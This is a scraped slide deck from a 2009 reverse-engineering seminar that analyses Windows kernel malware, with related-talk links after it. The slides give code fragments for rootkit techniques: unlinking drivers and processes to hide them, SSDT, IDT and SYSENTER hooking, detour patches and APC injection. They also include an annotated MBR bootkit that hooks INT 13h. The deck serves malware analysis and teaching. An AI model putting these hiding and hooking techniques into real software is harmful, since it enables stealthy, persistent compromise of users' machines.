SlideShare a Scribd company logo
1 of 50
Download to read offline
2009.07.04
3rd CodeEngn ReverseEngineering Seminar
¢ Malware
¢ Infection
¢ Windows Kernel
¢ Exam 1. Hide Driver & Process
¢ Exam 2. Hook SDT & IDT
¢ Exam 3. Attach Device
¢ Exam 4. Create UserMode Thread
¢ Exam 5. Subverting the MBR
¢ Analysis
3rd CodeEngn ReverseEngineering Seminar
¢ Virus
¢ Trojan
¢ Worm
¢ Exploit / Vulnerability
¢ Spyware / Addware
¢ Hox
3rd CodeEngn ReverseEngineering Seminar
[ E-Mail ]
- HTML
- 첨부파일
- HyperLink
[ WEB ]
- Download
- Iframe
- Script
[ 네트워크 공유 ]
- $ 공유
- User 공유
- Exploit
[ Application Exploit ]
- Office
- Acrobat
- Explorer
- …
[ Messenger ]
- MSN
- NateOn
- 버디버디
- …
[ USB Memory ]
- Autorun.inf
- Virus
- Trojan
- Exploit
[ Windows
Vulnerability ]
- MS09-XXX
[ Hacking ]
- Exploit
- 사회공학기
법
- …
[ Internet Worm ]
- Subnet
- Shared
- Exploit
[ 불법 Software ]
- Trojan
- Dropper
- …
3rd CodeEngn ReverseEngineering Seminar
User
Kernel
System Virtual Machine DOS Virtual Machine
Win32
Application
System
DLL
Win16
Application
System
DLL
.DRV
Driver
MS-DOS
Application
.SYS
Driver
Ring-0 Driver “Virtualizing” Device Driver
Hardware
3rd CodeEngn ReverseEngineering Seminar
User Mode
Kernel Mode
Applications
Hardware abstraction layer
Hardware
Win32
subsystem
I/O Manager
Device Drivers
Win32 API calls
System service interface
IRP passed to driver dispatch routine
HAL calls
Platform-specific operations
3rd CodeEngn ReverseEngineering Seminar
“A Rootkit is a set of programs and code
that allows a permanent or consistent,
undetectable presence on a computer”
3rd CodeEngn ReverseEngineering Seminar
3rd CodeEngn ReverseEngineering Seminar
Web Hacking Insert IFrame
Or JavaScript
Exploit or FileDownload
Malware
[ SPECIAL FEATURE ]
I. Rootkit Hide Loading
II. Driver Hiding
III. Process Hiding
3rd CodeEngn ReverseEngineering Seminar
§ SCM (Service Control Manager)
§ ZwSetSystemInformation
ZwSetSystemInformation( SystemLoadAndCallImage,
&MyDriver,
sizeof(SYSTEM_LOAD_AND_CALL_IMAGE) )
§ ZwLoadDriver
ZwLoadDriver( DriverServiceName )
3rd CodeEngn ReverseEngineering Seminar
DRIVER_OBJECT
PLDR_DATA_TABLE_ENTRY
B.SYS
LDR_DATA_TABLE_ENTRY LDR_DATA_TABLE_ENTRYLDR_DATA_TABLE_ENTRY
- LDR_DATA_TABLE_ENTRY (pDriverObject->DriverSection)
pLDR = *((LDR_DATA_TABLE_ENTRY**)((DWORD)pDriverObject +
0x14));
- LIST_ENTRY
*((PDWORD)pLDR-> InLoadOrderLinks.Blink) =
(DWORD)pLDR-> InLoadOrderLinks.Flink;
*((DWORD*)pLDR-> InLoadOrderLinks.Flink->Blink =
(DWORD)pLDR-> InLoadOrderLinks.Blink;
3rd CodeEngn ReverseEngineering Seminar
ETHREAD
KTHREAD
EPROCESS EPROCESSEPROCESS
KPROCESS KPROCESSKPROCESS
A.EXE
- PsGetCurrentProcess()
mov eax, fs:0x00000124
mov eax, [eax + 0x44]
- KPCR (Kernel Processor Control Region)
mov eax, fs:0x00000000 // KPCR
mov eax, [eax + 0x20] // KPRCB (Kernel Processor Control Block)
mov eax, [eax + 0x4] // KTHREAD
- EPROCESS
mov eax, KTHREAD
mov eax, [eax + 0x44]
- LIST_ENTRY
pList = (PLIST_ENTRY)[EPROCESS+0x88]; // Over WinXP
*((DWORD*)pList->Blink) = (DWORD)pList->Flink;
*((DWORD*)pList->Flink+1) = (DWORD)pList->Blink;
pList->Flink = (LIST_ENTRY*)&(pList->Flink);
pList->Blink = (LIST_ENTRY*)&(pList->Flink);
3rd CodeEngn ReverseEngineering Seminar
3rd CodeEngn ReverseEngineering Seminar
Attack Send SpamMail
Receive the Mail with Trojan
(EXE, DOC, PPT, JPG, WMF, …)
[ SPECIAL FEATURE ]
I. SSDT(System Service Descriptor Table) Hooking
II. Detour Patch, Trampoline
III. IDT(Interrupt Descriptor Table) Hooking
IV. SYSENTER Hooking
3rd CodeEngn ReverseEngineering Seminar
Windows Application
WriteFile
In
Kernel32.dll
NtWriteFile
In
ntdll.dll
Dispatch Table
*Func 0
*Func 1
*Func 2
.
.
.
Service Routine
In ntoskrnl.exe
Userland
Kernel
EAX – Service Number or Index
EDX – Parameter Address
API
In
User32.dll/Gdi32.dll
Dispatcher In Ntoskrnl.exe, Win32k.sys
Service Routine
In Win32k.sys
참조
INT 0x2E or SYSENTER
Dispatch
ShadowTable
*Func 0
*Func 1
*Func 2
.
.
.
3rd CodeEngn ReverseEngineering Seminar
804AB3BF 804AE86B 804BDEF3 8050B034
804C11F4
… …
80459214ServiceCounterTable
00000000
NumberOfService
F8
18 20 2C 2C
40 2C …
… …
KeServiceDescriptorTable System Service Dispatch Table (SSDT)
System Service Parameter Table (SSPT)
ZwCreateFile NewZwCreateFile
Call 80459214
F0001234
OldZwXXX =
(ZWXXX)(KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)ZwXXX+1)]);
_asm
{
CLI
MOV EAX, CR0
AND EAX, 0xFFFEFFFFh
MOV CR0, EAX
}
(KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)ZwXXX+1)]) =
(ULONG)HookZwXXX;
_asm
{
MOV EAX, CR0
OR EAX, NOT 0xFFFEFFFFh
MOV CR0, EAX
STI
}
3rd CodeEngn ReverseEngineering Seminar
¢ Detour Patch
FAR JMP Original Function
ROOTKIT CODE Removed Instructions FAR JMP (back)
Trampoline
55 8B EC 53 33 DB 38 5D 24
EA AA AA AA AA 08 00 90 90
55 PUSH EBP
8BEC MOV EBP, ESP
53 PUSH EBX
33DB XOR EBX, EBX
385D24 CMP [EBP+24], BL
FAR JMP
3rd CodeEngn ReverseEngineering Seminar
Typedef struct
{
WORD IDTLimit;
WORD LowIDTbase;
WORD HiIDTbase;
} IDTINFO;
Typedef struct
{
WORD LowOffset;
WORD selector;
BYTE unused_lo;
unsigned char unused_hi:5;
unsigned char DPL:2;
unsigned char P:1;
WORD HiOffset;
} IDTENTRY;
_asm
{
SIDT idtinfo
}
idtentry = (IDTENTRY*)MAKELONG( idtinfo.LowIDTbase, idtinfo.HiIDTbase );
int2e = &(idtentry[NT_SYSTEM_SERVICE_INT]);
_asm
{
CLI
LEA EAX,MyKiSystemService
MOV EBX,int2e
MOV [EBX],AX
SHR EAX,16
MOV [EBX+6],AX
STI
}
3rd CodeEngn ReverseEngineering Seminar
§ MSRs (Model-Specific Registers)
The model-specific registers (MSRs) that can be read with the RDMSR and written with the
WRMSR instructions.
§ IA32_SYSENTER_EIP (0x176)
The virtual address of the kernel-mode entry point that code should begin executing at once
the transition has completed.
__asm{
mov ecx, 0x176
rdmsr
mov OrgSysenter, eax
mov eax, HookSysenter
wrmsr
}
3rd CodeEngn ReverseEngineering Seminar
§ ZwQuerySystemInformation
- Hide Process
- Get Loaded System Module List
§ ZwOpenKey, ZwQueryKey, ZwCreateKey, ZwEnumerateKey
- Hide Registry
§ ZwSaveKey, ZwDeviceIoControlFile
- Restore & Backup Registry
§ ZwQueryDirectoryFile
- Hide File
§ ZwTerminateProcess
- No kill Process
§ ZwOpenFile, ZwCreateSection
- Redirection
3rd CodeEngn ReverseEngineering Seminar
3rd CodeEngn ReverseEngineering Seminar
Worm Virus
Subnet Scanning
& Attack
[ SPECIAL FEATURE ]
I. NTFS ADS(Alternate Data Stream) Hiding
II. File System Filtering
III. Network System Filtering
IV. Keyboard Filtering
3rd CodeEngn ReverseEngineering Seminar
Example
3rd CodeEngn ReverseEngineering Seminar
Application Program
Attach Filter
I/O Manager
Fast I/O
Cache Manager
File System Driver
Disk Driver
Disk Driver
Disk Driver
C: D: E:
B.SYS
KernelMode
UserMode
Physical Device
3rd CodeEngn ReverseEngineering Seminar
Msafd.dll
Protocol Drivers (Tcpip.sys)
NDIS Miniport Driver
NDIS.sys
NDIS Library Function
NIC Device
NDIS Intermediate Driver
TDI Drivers (Tdi.sys)
Ws2_32.dll
Application Program
Attach FilterB.SYS
KernelMode
UserMode
Physical Device
3rd CodeEngn ReverseEngineering Seminar
Application Program
Attach Filter
I/O Manager
High Level Driver
Low Level Driver
Completion Routine
KernelMode
UserMode
Keyboard
Shared Memory
Logging Thread
Physical Device
3rd CodeEngn ReverseEngineering Seminar
3rd CodeEngn ReverseEngineering Seminar
Web Surfing
(Home PC)
Autorun
(Company PC)
P2P worm
(USB Memory)
[ SPECIAL FEATURE ]
I. Create UserMode APC Thread
II. Infected NDIS.SYS
III. Injected System Processes
IV. Is not File, Registry, Process
3rd CodeEngn ReverseEngineering Seminar
HIGH_LEVEL
POWER_LEVEL
IPI_LEVEL
CLOCK2_LEVEL
CLOCK1_LEVEL
PROFILE_LEVEL
DISPATCH_LEVEL
APC_LEVEL
PASSIVE_LEVEL 0
1
2
27
28
29
30
31
DIRQLs 3 - 26
Hardware
Software
3rd CodeEngn ReverseEngineering Seminar
Process A
ThreadMDL
Driver A
Kernel Mode
NonPaged Memory
User Mode
Paged Virtual Memory
Memory
Mappin
g
1. KeGetCurrentThread
…
2. ExAllocatePool
…
3. IoAllocateMdl
…
4. KeStackAttachProcess
…
5. MmMapLockedPagesSpecifyCac
he
…
6. KeInitialzeApc
…
7. KeInsertQueueApc
Call Stack
APC_LEVEL
Thread
3rd CodeEngn ReverseEngineering Seminar
Process A
Thread
Kernel Mode
NonPaged Memory
User Mode
Paged Virtual Memory
Memory
Copy
1. ZwOpenProcess
…
2. ZwAllocateVirtualMemory
…
3. memcpy
…
4. KeStackAttachProcess
…
5. KeInitialzeApc
…
6. KeInsertQueueApc
Call Stack
APC_LEVEL
Driver A
Thread
3rd CodeEngn ReverseEngineering Seminar
Process A
Thread
Thread
Driver A
Kernel Mode
NonPaged Memory
User Mode
Paged Virtual Memory
Memory
Copy
1. PsLoopupProcessByProcessId
…
2. KeAttachProcess
…
3. GetUserMode *PEB
…
4. NtAllocateVirtualMemory
…
5. KeUserModeCallBack
…
6. KeDetachProcess
Call
User32.dll
Driver A
Thread
Call
Win32k.sys
Fs:[0x124] ; KTHREAD
Kthread->Teb ; TEB
TEB->ProcessEnvironmentBlock
; PEB
PEB->KernelCallbackTable
; Win32k.sys Table
3rd CodeEngn ReverseEngineering Seminar
Services.exe
DLL
Thread
Driver A
Kernel Mode
NonPaged Memory
User Mode
Paged Virtual Memory
Memory
Copy
Win32/Dnis.B
Encoded A
Encoded B
NDIS.SYS
SpamDriver
Call Stack
APC_LEVEL
DLL
Drop
Drop
3rd CodeEngn ReverseEngineering Seminar
3rd CodeEngn ReverseEngineering Seminar
Crack Software
Illegal Copy
Spy&Addware
P2P Software Exploit
Drop Malware
Download
[ SPECIAL FEATURE ]
I. Infected Disk MBR, Unpartitioned Sector
II. BIOS INT 13h Hooking
III. Boot time Loading
IV. Is not File, Registry, Process
V. Hide Infected MBR
3rd CodeEngn ReverseEngineering Seminar
System Power On
BIOS (ROM) – Select Boot Device, Read Device’s MBR into Memory, Execute
MBR (Disk) – Scan the Bootable Partition,
Read Partition Boot Sector
Ntldr (Osloader.exe) – From real-mode to protected-mode
Ntoskrnl.exe
Hal.dll
Smss.exe (Session Manager SubSystem)
Win32k.sys
Csrss.exe (Client Server Runtime SubSystem)
Winlogon.exe
Services.exe
Lsass.exe
Msgina.dll
(Local Security Authentication SubSystem)
3rd CodeEngn ReverseEngineering Seminar
ROM BIOS ( ColdBoot CS:IP=FFFF:0000)
Interrupt Vector Table (0000:0000 ~ 0000:03FF)
BIOS Data Area (0000:0400 ~ 0000:04FF)
Conventional Memory (0000:0000 ~ A000:0000)
640 Kbyte
3rd CodeEngn ReverseEngineering Seminar
446 Byte
64 Byte
2 Byte
Boot code
Partition Table
Magic Number
MBR = 0 Sector (512 Byte)
Partition 1 Partition 2 Partition 3 Partition 4
Boot Partition
Boot Sector Extended partition boot recordMBR
Partitions within an extended partition
3rd CodeEngn ReverseEngineering Seminar
Overwrite MBR
Hook INT 13h
Original MBR
(Sector 62)
1. Partition Table (0x1BE)
2. Partition Table (0x1CE)
3. Partition Table (0x1DE)
4. Partition Table (0x1EE)
Signature 3rd CodeEngn ReverseEngineering Seminar
[ BEGIN: 0000:7C00 ]
0000:7C00 FA CLI disable interrupt
0000:7C01 33C0 XOR AX,AX AX= 0000
0000:7C03 8ED0 MOV SS,AX SS = 0000
0000:7C05 BC007C MOV SP,7C00 SP = 7C00
0000:7C08 8BF4 MOV SI,SP SI = 7C00
0000:7C0A 50 PUSH AX
0000:7C0B 07 POP ES ES = 0000
0000:7C0C 50 PUSH AX
0000:7C0D 1F POP DS DS = 0000
0000:7C0E FB STI allow interrupt
0000:7C0F FC CLD clear direction
0000:7C10 BF0006 MOV DI,0600 DI = 0600
0000:7C13 B90001 MOV CX,0100 CX = 0x100(256 words)
0000:7C16 F2 REPNZ move MBR from 0000:7c00
0000:7C17 A5 MOVSW to 0000:0600
0000:7C18 EA1D060000 JMP 0000:061D jmp to NEW_LOCATION
3rd CodeEngn ReverseEngineering Seminar
[ NEW_LOCATION: 0000:061D ]
0000:061D BEBE07 MOV SI,07BE 0600 + 01BE(1’st Partition Table)
0000:0620 B304 MOV BL,04 Maximum Table Size = 4
[ SEARCH_LOOP1: SEARCH FOR AN ACTIVE PARTITION ENTRY ]
0000:0622 803C80 CMP BYTE PTR [SI],80 Active Boot Partition?
0000:0625 740E JZ FOUND_ACTIVE yes
0000:0627 803C00 CMP BYTE PTR [SI],00 Inactive Boot Partition?
0000:062A 751C JNZ NOT_ACTIVE no
0000:062C 83C610 ADD SI,+10 Next Partition Table
0000:062F FECB DEC BL Decrease Table Size
0000:0631 75EF JNZ SEARCH_LOOP1 Loop
0000:0633 CD18 INT 18 GO TO ROM BASIC
[ FOUND_ACTIVE: FOUND THE ACTIVE ENTRY ]
0000:0635 8B14 MOV DX,[SI] HardDisk(0x80) for INT 13
0000:0637 8B4C02 MOV CX,[SI+02] Start Sector for INT 13
0000:063A 8BEE MOV BP,SI BP = Partition Table ptr
[ SEARCH_LOOP2: MAKE SURE ONLY ONE ACTIVE ENTRY ]
0000:063C 83C610 ADD SI,+10 Next Partition Table
0000:063F FECB DEC BL Decrease Table Size
0000:0641 741A JZ READ_BOOT jmp if end of table
0000:0643 803C00 CMP BYTE PTR [SI],00 Inactive Boot Partition?
0000:0646 74F4 JZ SEARCH_LOOP2 yes
3rd CodeEngn ReverseEngineering Seminar
[ NOT_ACTIVE: MORE THAN ONE ACTIVE ENTRY FOUND ]
0000:0648 BE8B06 MOV SI,068B display "Invld prttn tbl"
[ DISPLAY_MSG: DISPLAY MESSAGE LOOP ]
0000:064B AC LODSB get char of message
0000:064C 3C00 CMP AL,00 end of message
0000:064E 740B JZ HANG yes
0000:0650 56 PUSH SI save SI
0000:0651 BB0700 MOV BX,0007 screen attributes
0000:0654 B40E MOV AH,0E output 1 char of message
0000:0656 CD10 INT 10 to the display
0000:0658 5E POP SI restore SI
0000:0659 EBF0 JMP DISPLAY_MSG do it again
[ HANG: HANG THE SYSTEM LOOP ]
0000:065B EBFE JMP HANG sit and stay!
[ READ_BOOT: READ ACTIVE PARITION BOOT RECORD ]
0000:065D BF0500 MOV DI,0005 INT 13 retry count
3rd CodeEngn ReverseEngineering Seminar
[ INT13RTRY: INT 13 RETRY LOOP ]
0000:0660 BB007C MOV BX,7C00 ES:BX = read buffer
0000:0663 B80102 MOV AX,0201 Read 1 sector (AH=02h,AL=01h)
0000:0666 57 PUSH DI save DI
0000:0667 CD13 INT 13 INT 13h AH 02h
0000:0669 5F POP DI restore DI
0000:066A 730C JNB INT13OK jmp if no INT 13
0000:066C 33C0 XOR AX,AX call INT 13 and
0000:066E CD13 INT 13 do disk reset
0000:0670 4F DEC DI decr DI
0000:0671 75ED JNZ INT13RETRYif not zero, try again
0000:0673 BEA306 MOV SI,06A3 display "Errr ldng systm"
0000:0676 EBD3 JMP DISPLAY_MSG jmp to display loop
[ INT13OK: INT 13 ERROR ]
0000:0678 BEC206 MOV SI,06C2 "missing op sys"
0000:067B BFFE7D MOV DI,7DFE point to signature
0000:067E 813D55AA CMP WORD PTR [DI],AA55 Signature Correct?
0000:0682 75C7 JNZ DISPLAY_MSG no
0000:0684 8BF5 MOV SI,BP set SI
0000:0686 EA007C0000 JMP 0000:7C00 JUMP TO THE BOOT SECTOR
3rd CodeEngn ReverseEngineering Seminar
[ BEGIN: 0000:7C00 ]
0000:7C00 FA CLI
0000:7C01 33DB XOR BX,BX BX=0000
0000:7C03 8ED3 MOV SS,BX SS=0000
0000:7C05 368926FE7B MOV SS:[7BFE],SP Store SP
0000:7C0A BCFE7B MOV SP,7BFE SP=7BFE
0000:7C0D 1E PUSH DS
0000:7C0E 6660 PUSHAD
0000:7C10 FC CLD
0000:7C11 8EDB MOV DS,BX DS=0000
0000:7C13 BE1304 MOV SI,0413 0040h:0013h - base memory size
0000:7C16 832C02 SUB WORD PTR [SI],02 2Kbyte (2048 = 4Sector)
0000:7C19 AD LODSW AX=memory Size
0000:7C1A C1E006 SHL AX,06
0000:7C1D 8EC0 MOV ES,AX
0000:7C1F BE007C MOV SI,7C00 SI=7C00
0000:7C22 33FF XOR DI,DI DI=0000
0000:7C24 B90001 MOV CX,0100 1 Sector (100h Word)
0000:7C27 F3A5 REPZ MOVSW DS:SI to ES:DI
3rd CodeEngn ReverseEngineering Seminar
0000:7C29 B80202 MOV AX,0201 read sector Size 1 (AH=2,AL=1)
0000:7C2C B13D MOV CL,3D CL=61 sector
0000:7C2E BA8000 MOV DX,0080 DL=80 Hard Disk
0000:7C31 8BDF MOV BX,DI ES:BX=ES:0000 Read Buffer
0000:7C33 CD13 INT 13
0000:7C35 33DB XOR BX,BX BX=0000
0000:7C37 668B474C MOV EAX,DS:[BX+4C] INT 13h Vector Table
0000:7C3B 6626A37300 MOV ORG_INT13,EAX Backup INT 13h
0000:7C40 C7474C6600 MOV WORD PTR [BX+4C],0066
0000:7C45 8C474E MOV [BX+4E],ES Hook
0000:7C48 06 PUSH ES
0000:7C49 684D00 PUSH 004D
0000:7C4B CB RETF
[ READ ORIGINAL MBR : ES:004D ]
0000:7C4D FB STI
0000:7C4E 8EC3 MOV ES,BX ES=0000
0000:7C50 B80102 MOV AX,0201 read sector Size 1
0000:7C53 B93F00 MOV CX,003E CL=62 sector
0000:7C56 BA8000 MOV DX,0080 DL=80 Hard Disk
0000:7C59 B77C MOV BH,7C ES:BX=0000:7C00 read Buffer
0000:7C5B CD13 INT 13
0000:7C5D 6661 POPAD
0000:7C5F 1F POP DS
0000:7C60 5C POP SP
0000:7C61 EA007C0000 JMP 0000:7C00 Jmp Original MBR
3rd CodeEngn ReverseEngineering Seminar
[ Hooked INT 13h Handler ]
0000:7C66 9C PUSHF
0000:7C67 80FC42 CMP AH,42
0000:7C6A 740B JZ 7C77 Extended Read?
0000:7C6C 80FC02 CMP AH,02
0000:7C6F 7406 JZ 7C77 Sector Read?
0000:7C71 9D POPF
0000:7C72 EAXXXXXXXX JMP ORG_INT13 Jmp Original INT 13h
[ READ ORIGINAL MBR : ES:004D ]
0000:7C77 2E88269000 MOV STOREAH,AH
0000:7C7C 9D POPF
0000:7C7D 9C PUSHF
0000:7C7E 2EFF1E7300 CALL ORG_INT13 Call Original INT 13h
0000:7C83 0F829D00 JB 7D24
0000:7C87 9C PUSHF
0000:7C88 FA CLI
0000:7C89 06 PUSH ES
0000:7C8A 6660 PUSHAD
0000:7C8C FC CLD
0000:7C8D B400 MOV AH,00 AH = 00
0000:7C8F B5XX MOV CH, STOREAH CH = STOREAH
0000:7C91 80FD42 CMP CH,42 Extended Read?
0000:7C94 7504 JNZ 7C9A
3rd CodeEngn ReverseEngineering Seminar
§ Dropper MBR Rootkit
- Overwrite HardDisk Sector 0, 61, 62 & Unpartitioned Sectors
§ MBR
- Real Mode
- Read Sector 61, 62
- Hook INT 13h
§ Partition Boot Sector
- Real Mode
- Read First 16 Sector
§ Windows Boot Loader
- Real Mode
- Load & Execute Ntldr
§ NTOSKRNL.EXE
- 32 Protected Mode
- Hook IoInitSystem
- Load & Execute Rootkit Driver
§ Hide MBR
- Hook DriverDisk IRP_MJ_READ, IRP_MJ_WRITE
3rd CodeEngn ReverseEngineering Seminar
3rd CodeEngn ReverseEngineering Seminar
§ Use Kernel Debugger
- UserMode : Olly, IDA, Windbg, Softice, TRW …
- KernelMode : Windbg, Softice …
§ Breakpoint
-Kernel API (Ex, IoCreateDevice, IoCreateSymbolicLink, …)
- EntryPoint (PE->IMAGE_OPTIONAL_HEADER->Checksum)
- DispatchRoutine, DPC, APC, CallBack …
§ SCM (Service Control Manager)
- OpenSCManager, CreateService, StartService …
§ Polymorphic / PE Patch / Encode
- Modify PE Header (ExportTable, ImportTable, IMAGE_OPTIONAL_HEADER-
>Subsystem)
3rd CodeEngn ReverseEngineering Seminar
3rd CodeEngn ReverseEngineering Seminar

More Related Content

What's hot

Linux PCI device driver
Linux PCI device driverLinux PCI device driver
Linux PCI device driver艾鍗科技
 
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...idsecconf
 
Indicators of compromise: From malware analysis to eradication
Indicators of compromise: From malware analysis to eradicationIndicators of compromise: From malware analysis to eradication
Indicators of compromise: From malware analysis to eradicationMichael Boman
 
Sysdig Tokyo Meetup 2018 02-27
Sysdig Tokyo Meetup 2018 02-27Sysdig Tokyo Meetup 2018 02-27
Sysdig Tokyo Meetup 2018 02-27Michael Ducy
 
Advanced System Security and Digital Forensics
Advanced System Security and Digital ForensicsAdvanced System Security and Digital Forensics
Advanced System Security and Digital ForensicsDr. Ramchandra Mangrulkar
 
Trap Handling in Linux
Trap Handling in LinuxTrap Handling in Linux
Trap Handling in LinuxYongraeJo
 
Introduction to Kernel and Device Drivers
Introduction to Kernel and Device DriversIntroduction to Kernel and Device Drivers
Introduction to Kernel and Device DriversRajKumar Rampelli
 
Mac Memory Analysis with Volatility
Mac Memory Analysis with VolatilityMac Memory Analysis with Volatility
Mac Memory Analysis with VolatilityAndrew Case
 
Lecture2 process structure and programming
Lecture2   process structure and programmingLecture2   process structure and programming
Lecture2 process structure and programmingMohammed Farrag
 
Lecture 6 Kernel Debugging + Ports Development
Lecture 6 Kernel Debugging + Ports DevelopmentLecture 6 Kernel Debugging + Ports Development
Lecture 6 Kernel Debugging + Ports DevelopmentMohammed Farrag
 
Malware analysis using volatility
Malware analysis using volatilityMalware analysis using volatility
Malware analysis using volatilityYashashree Gund
 
Your Linux Passwords Are in Danger: MimiDove Meets the Challenge (lightning t...
Your Linux Passwords Are in Danger: MimiDove Meets the Challenge (lightning t...Your Linux Passwords Are in Danger: MimiDove Meets the Challenge (lightning t...
Your Linux Passwords Are in Danger: MimiDove Meets the Challenge (lightning t...Igor Korkin
 
grsecurity and PaX
grsecurity and PaXgrsecurity and PaX
grsecurity and PaXKernel TLV
 
Divide et Impera: MemoryRanger Runs Drivers in Isolated Kernel Spaces
Divide et Impera: MemoryRanger Runs Drivers in Isolated Kernel SpacesDivide et Impera: MemoryRanger Runs Drivers in Isolated Kernel Spaces
Divide et Impera: MemoryRanger Runs Drivers in Isolated Kernel SpacesIgor Korkin
 
Bootkits: past, present & future
Bootkits: past, present & futureBootkits: past, present & future
Bootkits: past, present & futureAlex Matrosov
 
Advanced cfg bypass on adobe flash player 18 defcon russia 23
Advanced cfg bypass on adobe flash player 18 defcon russia 23Advanced cfg bypass on adobe flash player 18 defcon russia 23
Advanced cfg bypass on adobe flash player 18 defcon russia 23DefconRussia
 
Linux kernel debugging(ODP format)
Linux kernel debugging(ODP format)Linux kernel debugging(ODP format)
Linux kernel debugging(ODP format)yang firo
 
Linux Char Device Driver
Linux Char Device DriverLinux Char Device Driver
Linux Char Device DriverGary Yeh
 

What's hot (20)

Linux PCI device driver
Linux PCI device driverLinux PCI device driver
Linux PCI device driver
 
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...
 
Indicators of compromise: From malware analysis to eradication
Indicators of compromise: From malware analysis to eradicationIndicators of compromise: From malware analysis to eradication
Indicators of compromise: From malware analysis to eradication
 
Sysdig Tokyo Meetup 2018 02-27
Sysdig Tokyo Meetup 2018 02-27Sysdig Tokyo Meetup 2018 02-27
Sysdig Tokyo Meetup 2018 02-27
 
Advanced System Security and Digital Forensics
Advanced System Security and Digital ForensicsAdvanced System Security and Digital Forensics
Advanced System Security and Digital Forensics
 
Trap Handling in Linux
Trap Handling in LinuxTrap Handling in Linux
Trap Handling in Linux
 
Introduction to Kernel and Device Drivers
Introduction to Kernel and Device DriversIntroduction to Kernel and Device Drivers
Introduction to Kernel and Device Drivers
 
Dns rebinding
Dns rebindingDns rebinding
Dns rebinding
 
Linux IO
Linux IOLinux IO
Linux IO
 
Mac Memory Analysis with Volatility
Mac Memory Analysis with VolatilityMac Memory Analysis with Volatility
Mac Memory Analysis with Volatility
 
Lecture2 process structure and programming
Lecture2   process structure and programmingLecture2   process structure and programming
Lecture2 process structure and programming
 
Lecture 6 Kernel Debugging + Ports Development
Lecture 6 Kernel Debugging + Ports DevelopmentLecture 6 Kernel Debugging + Ports Development
Lecture 6 Kernel Debugging + Ports Development
 
Malware analysis using volatility
Malware analysis using volatilityMalware analysis using volatility
Malware analysis using volatility
 
Your Linux Passwords Are in Danger: MimiDove Meets the Challenge (lightning t...
Your Linux Passwords Are in Danger: MimiDove Meets the Challenge (lightning t...Your Linux Passwords Are in Danger: MimiDove Meets the Challenge (lightning t...
Your Linux Passwords Are in Danger: MimiDove Meets the Challenge (lightning t...
 
grsecurity and PaX
grsecurity and PaXgrsecurity and PaX
grsecurity and PaX
 
Divide et Impera: MemoryRanger Runs Drivers in Isolated Kernel Spaces
Divide et Impera: MemoryRanger Runs Drivers in Isolated Kernel SpacesDivide et Impera: MemoryRanger Runs Drivers in Isolated Kernel Spaces
Divide et Impera: MemoryRanger Runs Drivers in Isolated Kernel Spaces
 
Bootkits: past, present & future
Bootkits: past, present & futureBootkits: past, present & future
Bootkits: past, present & future
 
Advanced cfg bypass on adobe flash player 18 defcon russia 23
Advanced cfg bypass on adobe flash player 18 defcon russia 23Advanced cfg bypass on adobe flash player 18 defcon russia 23
Advanced cfg bypass on adobe flash player 18 defcon russia 23
 
Linux kernel debugging(ODP format)
Linux kernel debugging(ODP format)Linux kernel debugging(ODP format)
Linux kernel debugging(ODP format)
 
Linux Char Device Driver
Linux Char Device DriverLinux Char Device Driver
Linux Char Device Driver
 

Similar to [2009 CodeEngn Conference 03] koheung - 윈도우 커널 악성코드에 대한 분석 및 방법

Virtual platform
Virtual platformVirtual platform
Virtual platformsean chen
 
Formbook - In-depth malware analysis (Botconf 2018)
Formbook - In-depth malware analysis (Botconf 2018)Formbook - In-depth malware analysis (Botconf 2018)
Formbook - In-depth malware analysis (Botconf 2018)Rémi Jullian
 
Hunting and Exploiting Bugs in Kernel Drivers - DefCamp 2012
Hunting and Exploiting Bugs in Kernel Drivers - DefCamp 2012Hunting and Exploiting Bugs in Kernel Drivers - DefCamp 2012
Hunting and Exploiting Bugs in Kernel Drivers - DefCamp 2012DefCamp
 
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Vincenzo Iozzo
 
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershellCSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershellCanSecWest
 
Windows内核技术介绍
Windows内核技术介绍Windows内核技术介绍
Windows内核技术介绍jeffz
 
0x02 - Windows Privilege Esc - A Low Level Explanation of Token Theft
0x02 - Windows Privilege Esc - A Low Level Explanation of Token Theft0x02 - Windows Privilege Esc - A Low Level Explanation of Token Theft
0x02 - Windows Privilege Esc - A Low Level Explanation of Token TheftRussell Sanford
 
0x002 - Windows Priv Esc - A Low Level Explanation of Token Theft
0x002 - Windows Priv Esc - A Low Level Explanation of Token Theft0x002 - Windows Priv Esc - A Low Level Explanation of Token Theft
0x002 - Windows Priv Esc - A Low Level Explanation of Token TheftRussell Sanford
 
Android Boot Time Optimization
Android Boot Time OptimizationAndroid Boot Time Optimization
Android Boot Time OptimizationKan-Ru Chen
 
DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...
DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...
DEF CON 27 - HUBER AND ROSKOSCH - im on your phone listening attacking voip c...Felipe Prado
 
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Challenges and Solutions of Window Remote Shellcode[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Challenges and Solutions of Window Remote ShellcodeAj MaChInE
 
Labs_BT_20221017.pptx
Labs_BT_20221017.pptxLabs_BT_20221017.pptx
Labs_BT_20221017.pptxssuserb4d806
 
Defcon 27 - Writing custom backdoor payloads with C#
